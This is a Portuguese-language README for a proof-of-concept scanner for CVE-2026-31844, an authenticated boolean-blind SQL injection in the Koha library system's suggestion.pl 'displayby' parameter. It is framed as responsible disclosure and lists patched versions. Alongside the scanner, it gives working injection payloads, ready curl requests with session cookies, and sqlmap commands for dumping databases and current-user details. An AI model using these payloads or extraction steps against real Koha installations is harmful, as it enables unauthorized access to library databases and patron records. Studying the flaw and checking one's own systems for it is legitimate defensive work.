
Scanner de injeção SQL autenticado para o Sistema de Gerenciamento de Bibliotecas Koha (CVE-2026-31844) usando técnica cega baseada em booleano para verificar vulnerabilidade e extrair dados.
Este repositório contém um POC responsável de vulnerabilidade para CVE-2026-31844, uma vulnerabilidade de injeção SQL autenticada de alta gravidade no Sistema de Gerenciamento de Bibliotecas Koha.
A vulnerabilidade existe na função GetDistinctValues em C4/Search.pm, que é chamada pelo script /cgi-bin/koha/suggestion/suggestion.pl. Ela pode ser explorada por meio do parâmetro displayby.
O parâmetro displayby no script suggestion.pl é usado para construir um nome de coluna qualificado por tabela, que é então passado para a função GetDistinctValues. No entanto, esta função incorpora diretamente tanto o nome da tabela quanto o nome da coluna em uma consulta SQL bruta sem realizar qualquer validação de entrada ou parametrização.
Como resultado, um atacante pode manipular o parâmetro displayby para injetar código SQL malicioso na consulta. Como a entrada não é sanitizada antes de ser incluída na instrução SQL, esse comportamento introduz uma vulnerabilidade de Injeção SQL, que pode permitir que um atacante execute comandos SQL arbitrários usando a técnica Boolean-Based Blind no banco de dados.
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
Raximov Shukrulloh (Mothra)
O scanner usa a técnica Boolean-Based Blind para verificar a vulnerabilidade
Ao injetar instruções condicionais na posição do nome da coluna, podemos observar respostas HTTP diferenciais:
IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Erro de Subconsulta → HTTP 500IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Consulta Válida → HTTP 200Se o alvo retornar um 500 para a condição verdadeira e um 200 para a condição falsa, a vulnerabilidade é confirmada.
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner
pip3 install requests
Você deve fornecer credenciais válidas para uma conta de funcionário do Koha com a permissão suggestions.
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
Para alvos com certificados SSL autoassinados:
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-31844 — Koha Vulnerability Scanner ║
║ Authenticated SQLi in suggestion.pl (displayby) ║
║ (Responsible Check Only) ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!
============================================================
VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
[1] Testing baseline request (STATUS)... HTTP 200 (OK)
[2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
[3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================
[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844
[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
Você pode verificar manualmente a vulnerabilidade via curl. Primeiro, autentique-se na interface de funcionários do Koha e capture seu cookie CGISESSID.
Condição Verdadeira (Retorna HTTP 500):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
Condição Falsa (Retorna HTTP 200):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
O SQLMap suporta nativamente injeção cega baseada em booleano. Para automatizar a extração de dados, salve uma solicitação HTTP autenticada válida em request.txt. Mantenha os cookies csrf_token e CGISESSID válidos.
Exemplo de request.txt:
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0
Execute o SQLMap com a técnica booleana (--technique=B):
# Extração básica do banco de dados
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
# Extrair usuário atual
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
Ou execute diretamente pela linha de comando:
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
--cookie="CGISESSID=your_session_id_here" \
-p displayby \
--dbms=mysql \
--technique=B \
--current-db
Após algum tempo, o sqlmap identificará o payload correto.
Se não for corrigida, esta vulnerabilidade permite que um atacante autenticado:
Atualize para a versão do Koha 24.11.12, 25.05.07, 25.11.01 ou 26.05.00 (ou posterior), que inclui uma correção para esta vulnerabilidade.
Raximov Shukrulloh (Mothra)
Bot do Telegram @MothraContact_bot
Esta prova de conceito é fornecida apenas para fins educacionais e defensivos. Sempre obtenha autorização adequada antes de testar qualquer sistema em busca de vulnerabilidades.
O autor não é responsável por qualquer uso indevido destas informações. Esta prova de conceito deve ser usada apenas em sistemas que você possui ou para os quais tenha permissão explícita para testar.